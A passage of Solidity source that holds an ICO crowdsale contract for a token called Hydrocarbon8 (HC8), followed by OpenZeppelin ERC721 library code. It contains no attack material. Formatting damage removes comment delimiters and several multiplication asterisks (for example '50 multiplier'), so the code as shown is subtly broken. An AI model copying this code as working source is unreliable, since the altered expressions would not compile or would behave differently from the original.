@dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /************************************************************************ * import "./BasicToken.sol" : end ***********************************************************************/ /*********************************************************************** * import "./ERC20.sol" : start ***********************************************************************/ / * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /************************************************************************ * import "./ERC20.sol" : end ***********************************************************************/ / * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /* * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol / function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /************************************************************************ * import "./StandardToken.sol" : end ***********************************************************************/ /*********************************************************************** * import "../ownership/Ownable.sol" : start ***********************************************************************/ / * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / function Ownable() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /************************************************************************ * import "../ownership/Ownable.sol" : end ***********************************************************************/ / * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol / contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /* * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. / function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /* * @dev Function to stop minting new tokens. * @return True if the operation was successful. / function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /************************************************************************ * import "zeppelin-solidity/contracts/token/MintableToken.sol" : end ************************************************************************/ contract HC8 is MintableToken { / Token constants / string public name = "Hydrocarbon8"; string public symbol = "HC8"; uint public decimals = 6; / Blocks token transfers until ICO is finished./ bool public tokensBlocked = true; // list of addresses with time-freezend tokens mapping (address => uint) public teamTokensFreeze; event debugLog(string key, uint value); / Allow token transfer./ function unblock() external onlyOwner { tokensBlocked = false; } / Override some function to add support of blocking ./ function transfer(address _to, uint256 _value) public returns (bool) { require(!tokensBlocked); require(allowTokenOperations(_to)); require(allowTokenOperations(msg.sender)); super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!tokensBlocked); require(allowTokenOperations(_from)); require(allowTokenOperations(_to)); super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public returns (bool) { require(!tokensBlocked); require(allowTokenOperations(_spender)); super.approve(_spender, _value); } // Hold team/founders tokens for defined time function freezeTokens(address _holder, uint time) public onlyOwner { require(_holder != 0x0); teamTokensFreeze[_holder] = time; } function allowTokenOperations(address _holder) public constant returns (bool) { return teamTokensFreeze[_holder] == 0 \|\| now >= teamTokensFreeze[_holder]; } } contract HC8ICO { using SafeMath for uint; //========== // Variables //========== //States enum IcoState {Running, Paused, Failed, Finished} // ico successed bool public isSuccess = false; // contract hardcoded owner address public owner = 0x07c88CC4316F47131d5D3AD84B3151397E858120; address public wallet = 0x81c9Ad6B14F6cBd71155B504e6E88963420f1829; address public unsold = 0x7Cb4C67d020042537476Bc13033461ce154bD3e0; // Start time uint public constant startTime = 1533715688; // End time uint public endTime = startTime + 60 days; // decimals multiplier for calculation & debug uint public constant multiplier = 1000000; // minimal amount of tokens for sale uint private constant minTokens = 50 multiplier; // one million uint public constant mln = 1000000; // ICO max tokens for sale uint public constant tokensCap = 99 * mln * multiplier; //ICO success uint public constant minSuccess = 50 * multiplier; // Amount of sold tokens uint public totalSupply = 0; // Amount of tokens w/o bonus uint public tokensSoldTotal = 0; // State of ICO - default Running IcoState public icoState = IcoState.Running; // @dev for debug uint private constant rateDivider = 1; // initial price in wei uint public priceInWei = 3105962723; // robot address address public _robot = 0x63b247db491D3d3E32A9629509Fb459386Aff921; // if ICO not finished - we must send all old contract eth to new bool public tokensAreFrozen = true; // The token being sold HC8 public token; // Structure for holding bonuses and tokens for btc investors // We can now deprecate rate/bonus_tokens/value without bitcoin holding mechanism - we don't need it struct TokensHolder { uint value; //amount of wei uint tokens; //amount of tokens uint bonus; //amount of bonus tokens uint total; //total tokens uint rate; //conversion rate for hold moment uint change; //unused wei amount if tx reaches cap } //wei amount mapping (address => uint) public investors; struct teamTokens { address holder; uint freezePeriod; uint percent; uint divider; uint maxTokens; } teamTokens[] public listTeamTokens; // Bonus params uint[] public bonusPatterns = [80, 60, 40, 20]; uint[] public bonusLimit = [5 * mln * multiplier, 10 * mln * multiplier, 15 * mln * multiplier, 20 * mln * multiplier]; // flag to prevent team tokens regen with external call bool public teamTokensGenerated = false; //========= //Modifiers //========= // Active ICO modifier ICOActive { require(icoState == IcoState.Running); require(now >= (startTime)); require(now <= (endTime)); _; } // Finished ICO modifier ICOFinished { require(icoState == IcoState.Finished); _; } // Failed ICO - time is over modifier ICOFailed { require(now >= (endTime)); require(icoState == IcoState.Failed \|\| !isSuccess); _; } // Allows some methods to be used by team or robot modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyTeam() { require(msg.sender == owner \|\| msg.sender == _robot); _; } modifier successICOState() { require(isSuccess); _; } //======= // Events //======= event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount); event RunIco(); event PauseIco(); event SuccessIco(); event ICOFails(); event updateRate(uint time, uint rate); event debugLog(string key, uint value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); //======== // Methods //======== // Constructor function HC8ICO() public { token = new HC8(); //if (owner == 0x0) {//owner not set in contract // owner = msg.sender; //} //uint freezePeriod; //uint percent; //uint divider; // // Company tokens 10%, blocked for 182 days listTeamTokens.push(teamTokens(0x1b83619057f2230060ea672E7C03C5DAe8A1eEE6, 182 days, 10, 1, 0)); // Company tokens 10%, blocked for 1 year listTeamTokens.push(teamTokens(0xB7F2BD192baAe546F5a48570b5d5990be2C31433, 1 years, 10, 1, 0)); // Team tokens 6.667% listTeamTokens.push(teamTokens(0xB6e2E9019AC0282Bc20b6874dea8488Db4E41512, 0, 32, 10, 0)); listTeamTokens.push(teamTokens(0x0adC0CC5E9625E893Ec5C56Ee9D189644FF3744F, 0, 16, 10, 0)); listTeamTokens.push(teamTokens(0xB5c5C8C3615A48c03BF0F2a30fD1EC3Aea8C5A20, 0, 16, 10, 0)); listTeamTokens.push(teamTokens(0x79C3659236c51C82b7c0A5CD02932551470fA8cF, 0, 200, 1000, 0)); listTeamTokens.push(teamTokens(0x644dEd1858174fc9b91d614846d1545Ad510074B, 0, 6670, 100000, 0)); // Team tokens 6.667%, blocked for 1 year listTeamTokens.push(teamTokens(0xa110C057DD30042eE9c1a8734F5AD14ef4DA7D28, 1 years, 32, 10, 0)); listTeamTokens.push(teamTokens(0x2323eaD3137195F70aFEC27283649F515D7cdf40, 1 years, 16, 10, 0)); listTeamTokens.push(teamTokens(0x4A536E9F10c19112C33DEA04BFC62216792a197D, 1 years, 16, 10, 0)); listTeamTokens.push(teamTokens(0x93c7338D6D23Ed36c6eD5d05C80Dc54BDB2ebCcd, 1 years, 200, 1000, 0)); listTeamTokens.push(teamTokens(0x3bFF85649F76bf0B6719657D1a7Ea7de4C6F77F5, 1 years, 6670, 100000, 0)); // Team tokes 6.667%, blocked for 2 years listTeamTokens.push(teamTokens(0x1543E108cDA983eA3e4DF7fa599096EBa2BDC26b, 2 years, 32, 10, 0)); listTeamTokens.push(teamTokens(0x0d05195af835F64cf42bC01276196E7D313Ca572, 2 years, 16, 10, 0)); listTeamTokens.push(teamTokens(0x5a9447368cF7D1Ae134444263c51E07e8d8091eA, 2 years, 16, 10, 0)); listTeamTokens.push(teamTokens(0x9293824d3A66Af4fdE6f29Aa016b784408B5cA5F, 2 years, 200, 1000, 0)); listTeamTokens.push(teamTokens(0x8bbBd613EA5a840FDE29DFa6F6E53E93FE998c7F, 2 years, 6660, 100000, 0)); } // fallback function can be used to buy tokens function() public payable ICOActive { require(!isReachedLimit()); TokensHolder memory tokens = calculateTokens(msg.value); require(tokens.total > 0); token.mint(msg.sender, tokens.total); TokenPurchase(msg.sender, msg.sender, tokens.value, tokens.total); if (tokens.change > 0 && tokens.change <= msg.value) { msg.sender.transfer(tokens.change); } investors[msg.sender] = investors[msg.sender].add(tokens.value); addToStat(tokens.tokens, tokens.bonus); debugLog("rate ", priceInWei); manageStatus(); } function hasStarted() public constant returns (bool) { return now >= startTime; } function hasFinished() public constant returns (bool) { return now >= endTime \|\| isReachedLimit(); } // Calculates amount of bonus tokens function getBonus(uint _value, uint _sold) internal constant returns (TokensHolder) { TokensHolder memory result; uint _bonus = 0; result.tokens = _value; for (uint8 i = 0; _value > 0 && i < bonusLimit.length; ++i) { uint current_bonus_part = 0; if (_value > 0 && _sold < bonusLimit[i]) { uint bonus_left = bonusLimit[i] - _sold; uint _bonusedPart = min(_value, bonus_left); current_bonus_part = current_bonus_part.add(percent(_bonusedPart, bonusPatterns[i])); _value = _value.sub(_bonusedPart); _sold = _sold.add(_bonusedPart); } if (current_bonus_part > 0) { _bonus = _bonus.add(current_bonus_part); } } result.bonus = _bonus; return result; } // Are we reached tokens limit? function isReachedLimit() internal constant returns (bool) { return tokensCap.sub(totalSupply) == 0; } function manageStatus() internal { if (totalSupply >= minSuccess && !isSuccess) { successICO(); } bool capIsReached = (totalSupply == tokensCap); if (capIsReached \|\| (now >= endTime)) { if (!isSuccess) { failICO(); } else { finishICO(false); } } } function calculateForValue(uint value) public constant returns (uint, uint, uint) { TokensHolder memory tokens = calculateTokens(value); return (tokens.total, tokens.tokens, tokens.bonus); } function calculateTokens(uint value) internal constant returns (TokensHolder) { require(value > 0); require(priceInWei * minTokens <= value); uint tokens = value.div(priceInWei); require(tokens > 0); uint remain = tokensCap.sub(totalSupply); uint change = 0; uint value_clear = 0; if (remain <= tokens) { tokens = remain; change = value.sub(tokens.mul(priceInWei)); value_clear = value.sub(change); } else { value_clear = value; } TokensHolder memory bonus = getBonus(tokens, tokensSoldTotal); uint total = tokens + bonus.bonus; bonus.tokens = tokens; bonus.total = total; bonus.change = change; bonus.rate = priceInWei; bonus.value = value_clear; return bonus; } // Add tokens&bonus amount to counters function addToStat(uint tokens, uint bonus) internal { uint total = tokens + bonus; totalSupply = totalSupply.add(total); //tokensBought = tokensBought.add(tokens.div(multiplier)); //tokensBonus = tokensBonus.add(bonus.div(multiplier)); tokensSoldTotal = tokensSoldTotal.add(tokens); } // manual start ico after pause function startIco() external onlyOwner { require(icoState == IcoState.Paused); icoState = IcoState.Running; RunIco(); } // manual pause ico function pauseIco() external onlyOwner { require(icoState == IcoState.Running); icoState = IcoState.Paused; PauseIco(); } // auto success ico - cat withdraw ether now function successICO() internal { isSuccess = true; SuccessIco(); } function finishICO(bool manualFinish) internal successICOState { if(!manualFinish) { bool capIsReached = (totalSupply == tokensCap); if (capIsReached && now < endTime) { endTime = now; } } else { endTime = now; } icoState = IcoState.Finished; tokensAreFrozen = false; // maybe this must be called as external one-time call token.unblock(); } function failICO() internal { icoState = IcoState.Failed; ICOFails(); } function refund() public ICOFailed { require(msg.sender != 0x0); require(investors[msg.sender] > 0); uint refundVal = investors[msg.sender]; investors[msg.sender] = 0; uint balance = token.balanceOf(msg.sender); totalSupply = totalSupply.sub(balance); msg.sender.transfer(refundVal); } // Withdraw allowed only on success function withdraw(uint value) external onlyOwner successICOState { wallet.transfer(value); } // Generates team tokens after ICO finished function generateTeamTokens() internal ICOFinished { require(!teamTokensGenerated); teamTokensGenerated = true; if(tokensCap > totalSupply) { uint unsoldAmount = tokensCap.sub(totalSupply); token.mint(unsold, unsoldAmount); //debugLog('unsold ', unsoldAmount); totalSupply = totalSupply.add(unsoldAmount); } uint totalSupplyTokens = totalSupply; totalSupplyTokens = totalSupplyTokens.mul(100); totalSupplyTokens = totalSupplyTokens.div(60); for (uint8 i = 0; i < listTeamTokens.length; ++i) { uint teamTokensPart = percent(totalSupplyTokens, listTeamTokens[i].percent); if (listTeamTokens[i].divider != 0) { teamTokensPart = teamTokensPart.div(listTeamTokens[i].divider); } if (listTeamTokens[i].maxTokens != 0 && listTeamTokens[i].maxTokens < teamTokensPart) { teamTokensPart = listTeamTokens[i].maxTokens; } token.mint(listTeamTokens[i].holder, teamTokensPart); if(listTeamTokens[i].freezePeriod != 0) { token.freezeTokens(listTeamTokens[i].holder, endTime + listTeamTokens[i].freezePeriod); } addToStat(teamTokensPart, 0); } } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } //========================== // Methods for bots requests //========================== // set/update robot address function setRobot(address robot) public onlyOwner { require(robot != 0x0); _robot = robot; } // update token price in wei function setRate(uint newRate) public onlyTeam { require(newRate > 0); //todo min rate check! 0 - for debug priceInWei = newRate; updateRate(now, newRate); } // mb deprecated function robotRefund(address investor) public onlyTeam ICOFailed { require(investor != 0x0); require(investors[investor] > 0); uint refundVal = investors[investor]; investors[investor] = 0; uint balance = token.balanceOf(investor); totalSupply = totalSupply.sub(balance); investor.transfer(refundVal); } function manualFinish() public onlyTeam successICOState { require(!hasFinished()); finishICO(true); generateTeamTokens(); } function autoFinishTime() public onlyTeam { require(hasFinished()); manageStatus(); generateTeamTokens(); } //======== // Helpers //======== // calculation of min value function min(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } function percent(uint value, uint bonus) internal pure returns (uint) { return (value * bonus).div(100); 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/** Submitted for verification at Etherscan.io on 2022-03-09 / // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) 